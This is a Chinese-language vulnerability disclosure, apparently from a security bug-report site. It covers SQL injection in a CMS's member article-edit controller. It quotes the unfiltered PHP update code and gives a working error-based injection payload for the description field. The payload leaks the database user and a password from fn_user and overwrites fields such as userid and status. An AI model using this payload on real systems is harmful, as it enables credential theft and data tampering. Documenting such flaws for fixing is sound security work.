### 简要描述：
这次让我先呵呵！！！
### 详细说明：
会员中心，文章-先发表一篇文章，然后去修改，看看修改的代码
controllers/member/ContentController.php
```
public function editAction() {
。。。。
if ($this->post('submit')) {
$_data = $data;
unset($data);
$data = $this->post('data');
/**print_r($data);
exit();**/
if (empty($data['title'])) {
$this->memberMsg(lang('m-con-13'));
}
if ($data['catid'] != $catid
&& $modelid != $this->cats[$data['catid']]['modelid']) {
$this->memberMsg(lang('m-con-35'));
}
$this->checkFields($fields, $data, 2);
$data['id'] = $id;
$data['sysadd'] = 0;
$data['status'] = !isset($this->group['postverify']) || $this->group['postverify'] ? 3 : 1;
$data['userid'] = $this->memberinfo['id'];
$data['modelid'] = (int)$modelid;
$data['username'] = $this->memberinfo['username'];
$data['inputtime'] = $_data['inputtime'];
$data['updatetime'] = time();
$result = $this->content->member($id, $this->cmodel[$modelid]['tablename'], $data);
```
post提交修改文章，data数组并没有任何过滤，那么可以尝试在文章内容中注入，给描述部分添加一个单引号
[<img src="https://images.seebug.org/upload/201506/28115044a6a2bed5143bb7f1aad8a623bc8e43a7.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201506/28115044a6a2bed5143bb7f1aad8a623bc8e43a7.png)
接着提交后就会报错
[<img src="https://images.seebug.org/upload/201506/28115225ae58cc9c2b3a35a58f4906ba75a12da7.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201506/28115225ae58cc9c2b3a35a58f4906ba75a12da7.png)
那么继续在描述中插入poc
```
a',`sysadd` = '0',`status` = '1',`userid` = '1',`modelid` = '1',`username` = 'woc11123ao',`inputtime` = '1435460076',`updatetime` = '1435461373',`url` = 'q' WHERE id=41 and extractvalue(1,concat(0x7e,user(),0x7e,(select password from fn_user limit 1)))#
```
[<img src="https://images.seebug.org/upload/201506/28115412ca820a01bed7ad0a7c78ad160ed9507b.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201506/28115412ca820a01bed7ad0a7c78ad160ed9507b.png)
### 漏洞证明：
[<img src="https://images.seebug.org/upload/201506/281154243529fe9c48d08f0b41ba0ba7a8179f3c.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201506/281154243529fe9c48d08f0b41ba0ba7a8179f3c.png)
京公网安备 11010502034610号
暂无评论